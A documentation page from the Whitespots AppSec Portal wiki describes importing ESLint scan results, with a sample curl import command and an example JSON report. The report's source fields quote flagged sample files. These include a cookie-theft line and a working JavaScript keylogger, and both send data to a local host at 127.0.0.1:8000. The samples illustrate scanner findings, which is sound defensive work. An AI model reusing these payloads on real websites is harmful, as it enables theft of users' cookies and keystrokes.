Whitespots Wiki
Login
  • Home
  • πŸ”¦Auditor
    • πŸ“₯Deployment
      • Installation
      • Update
    • 🎯Features
      • πŸš€Run Audit
        • AppSec Portal cooperation
        • Direct use of Auditor
      • βš™οΈSettings
        • AppSec Portal cooperation
        • Direct use of the Auditor
          • Cleaner
          • Docker Credentials
          • Workers
          • Personalization
        • Jobs
          • Technical Jobs
          • Scanner Jobs
          • Job configuration
    • πŸ—’οΈRelease notes
    • 🩼Maintenance
  • πŸ–₯️AppSec Portal
    • πŸ“₯Deployment
      • License obtaining
      • Installation
      • Get started with the AppSec Portal
        • Π‘onfiguration options
      • Update
      • Accessing the AppSec Portal API Endpoints
      • Database transfer guide
      • FAQ: typical errors in deployment process
    • βš™οΈPost install Configuration
    • 🎯Features
      • 🎣Auto Validator
        • Rule creation
        • Rules view
      • Deduplicator
        • βš™οΈBasic deduplicator rules
        • βš™οΈAdvance Deduplicator rules
      • πŸ”¦Vulnerability discovery
        • βœ”οΈAudits
        • βš™οΈAuditor settings
          • Auditor config
          • Sequences
            • Sequences creating
            • Sequences setting
        • πŸ”ŽRun audit
          • Run Audit Manually
          • Scheduled Audit Run
      • 🎯Recommendations
      • Security Metrics
        • Severity Statistics Dashboard
        • WRT (Weighted Risk Trend)
        • How to work with WRT (for team leads)
        • Metrics settings
          • SLA
        • CVSS
          • CVSS Rule
      • Custom Reports
      • πŸ“ˆActive tasks
      • 🧺Asset management
        • How to import repositories from version control
        • Default product
        • Adding a product asset
        • Asset Transfer Between Products
      • πŸ•·οΈFindings view
        • All findings view
        • Grouped findings as a result of
        • Grouping of findings into groups
        • Available bulk actions
        • Viewing specific findings
        • Usable filters and easy sorting
      • πŸ“ŠJira
        • Jira integration configuration
        • Setting up Jira webhook
      • πŸ‘ΎMove from DefectDojo
      • πŸ”¬Scanners
        • πŸ”ŒImporting reports from scanners to AppSec Portal
          • πŸ–οΈManual Import using Report File
          • Importing reports via Terminal using a Report File
          • Importing reports via Lambda Function using a Report File
        • Scanner description
          • Code Scanners
            • Bandit
            • Brakeman
            • Checkov
            • CodeQL
            • ESLint
            • Gemnasium
            • Gosec
            • Hadolint
            • KICS
            • PHPCodeSniffer
            • Retire.js
            • Semgrep
            • SpotBugs
            • Terrascan
          • Secret Scanners
            • Gitleaks
            • Trufflehog3
          • Image and code dependency Scanners
            • Trivy
            • Trivy vulners.com plugin
            • Snyk
          • Web Scanners
            • Arachni Scan
            • Acunetix
            • Burp Enterprise Scan
            • OWASP Zap
          • Infrastructure Scanners
            • AWS Security Hub Scan
              • Importing reports via AWS Lambda Function within AWS Security Hub
            • Prowler
            • Subfinder
            • Nessus
            • Nuclei
          • Mobile Security Scanners
            • MobSFScan
          • Other Scanners
            • Dependency-Track
            • Whitespots Portal
      • πŸ“¦Working with products
        • Product Creation
        • Product options
        • Finding groups
        • Risk assessment
        • Product Asset
    • πŸ› οΈGeneral Portal settings
      • Version Control Integration
      • Profile
      • Managing user roles and access control
        • User management
        • Creating and editing roles
      • SSO settings
        • GitLab SSO
        • Microsoft SSO
        • Okta SSO
      • Scanner settings
        • Auto Closer
        • Group findings by
        • Custom Jira description
        • Custom severity mapping
        • Auditor Job Config
      • Notification settings
        • Integration
        • Criteria & Schedule
        • Status change notification
        • Manage notification schedule
      • Repository Link Configs
      • CWE list
      • Tag screen
    • πŸ—’οΈRelease notes
  • To be described
    • Documentation backlog
Powered by GitBook
On this page

Was this helpful?

  1. AppSec Portal
  2. Features
  3. Scanners
  4. Scanner description
  5. Code Scanners

ESLint

ESLint is a popular open-source static analysis tool that is used to find and fix problems in JavaScript code.

PreviousCodeQLNextGemnasium

Last updated 9 months ago

Was this helpful?

Auditor Job Name: ESLint Scan Auditor image: registry.gitlab.com/whitespots-public/security-images/eslint:8.42.0 AppSec Portal Importer Name: ESLint Scan, GitLab ESLint

and checks code for common errors and coding style issues, ensuring that the code is consistent and maintainable.

ESLint can detect a wide variety of issues, from simple syntax errors to more complex issues like security vulnerabilities. It supports a range of configurations that can be customized to suit your specific needs.

Curl example

curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./eslint.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=ESLint Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git"

In this command, the following parameters are used:

  1. -X POST: specifies the HTTP method to be used (in this case, POST)

  2. -H "Authorization: Token <authorization_token>": specifies the obtained from AppSec Portal.

  3. -H "Content-Type: multipart/form-data": specifies the content type of the request.

  4. -F "file=@<report_file_path>": specifies the path to the report file generated by the scanner.

  5. -F "product_name=<product_name>": specifies the name of the product being scanned.

  6. -F "product_type=<product_type>": specifies the type of the product being scanned.

  7. -F "scanner_name=<scanner_name>": specifies the name of the scanner used to generate the report (ESLint Scan or GitLab ESLint)

  8. -F "branch=<branch_name>": (optional) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an is used

  1. -F "repository=<repository SSH URL>": If your product is code in a repository enter the address of your repository in a specific format, for example: git@gitlab.com:whitespots-public/appsec-portal.git

  2. -F "docker_image=<registry address>": If your product is image enter the address of the registry where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto_validator:latest

  3. -F "domain=<domain>": If your product is web enter the domain name of your product, for example: whitespots.io

  4. -F "host=<host>": If your product is web enter the IP address of your product, for example: 0.0.0.0

Report example:

[{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/cookie.js",
"messages":[{"ruleId":"scanjs-rules/assign_to_src",
"severity":1,"message":"Assignment to src can be unsafe",
"line":1,"column":1,"nodeType":"AssignmentExpression",
"endLine":1,"endColumn":68}],"suppressedMessages":[],
"errorCount":0,"fatalErrorCount":0,"warningCount":1,
"fixableErrorCount":0,"fixableWarningCount":0,"source":
"new Image().src = 'http://127.0.0.1:8000/cookie?c='+document.cookie;\n",
"usedDeprecatedRules":[]},
{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/keylogger.js",
"messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,
"message":"The function setInterval can be unsafe","line":10,"column":1,
"nodeType":"CallExpression","endLine":14,"endColumn":9},
{"ruleId":"scanjs-rules/assign_to_src","severity":1,
"message":"Assignment to src can be unsafe","line":12,"column":3,
"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],
"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,
"fixableErrorCount":0,"fixableWarningCount":0,
"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n  get = window.event?event:e;\n  key = get.keyCode?get.keyCode:get.charCode;\n  key = String.fromCharCode(key);\n  keys+=key;\n}\n\nsetInterval(function(){\n  console.log(\"Loop\");\n  new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n  keys = '';\n}, 8000);\n",
"usedDeprecatedRules":[]},
{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/payload.js",
"messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,
"message":"The function setInterval can be unsafe","line":10,"column":1,
"nodeType":"CallExpression","endLine":14,"endColumn":9},
{"ruleId":"scanjs-rules/assign_to_src","severity":1,
"message":"Assignment to src can be unsafe","line":12,"column":3,
"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],
"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,
"fixableErrorCount":0,"fixableWarningCount":0,
"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n  get = window.event?event:e;\n  key = get.keyCode?get.keyCode:get.charCode;\n  key = String.fromCharCode(key);\n  keys+=key;\n}\n\nsetInterval(function(){\n  console.log(\"Loop\");\n  new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n  keys = '';\n}, 8000);\n",
"usedDeprecatedRules":[]},
{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/cookie.js",
"messages":[{"ruleId":"scanjs-rules/assign_to_src","severity":1,
"message":"Assignment to src can be unsafe","line":1,"column":1,
"nodeType":"AssignmentExpression","endLine":1,"endColumn":68}],
"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":1,"
fixableErrorCount":0,"fixableWarningCount":0,
"source":"new Image().src = 'http://127.0.0.1:8000/cookie?c='+document.cookie;\n","usedDeprecatedRules":[]},{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/keylogger.js","messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,"message":"The function setInterval can be unsafe","line":10,"column":1,"nodeType":"CallExpression","endLine":14,"endColumn":9},{"ruleId":"scanjs-rules/assign_to_src","severity":1,"message":"Assignment to src can be unsafe","line":12,"column":3,"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,"fixableErrorCount":0,"fixableWarningCount":0,"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n  get = window.event?event:e;\n  key = get.keyCode?get.keyCode:get.charCode;\n  key = String.fromCharCode(key);\n  keys+=key;\n}\n\nsetInterval(function(){\n  console.log(\"Loop\");\n  new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n  keys = '';\n}, 8000);\n","usedDeprecatedRules":[]},{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/payload.js","messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,"message":"The function setInterval can be unsafe","line":10,"column":1,"nodeType":"CallExpression","endLine":14,"endColumn":9},{"ruleId":"scanjs-rules/assign_to_src","severity":1,"message":"Assignment to src can be unsafe","line":12,"column":3,"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,"fixableErrorCount":0,"fixableWarningCount":0,"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n  get = window.event?event:e;\n  key = get.keyCode?get.keyCode:get.charCode;\n  key = String.fromCharCode(key);\n  keys+=key;\n}\n\nsetInterval(function(){\n  console.log(\"Loop\");\n  new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n  keys = '';\n}, 8000);\n","usedDeprecatedRules":[]}]
πŸ–₯️
🎯
πŸ”¬
ESLint scaner
ESLint scaner(GitLab)
auditor
authorization token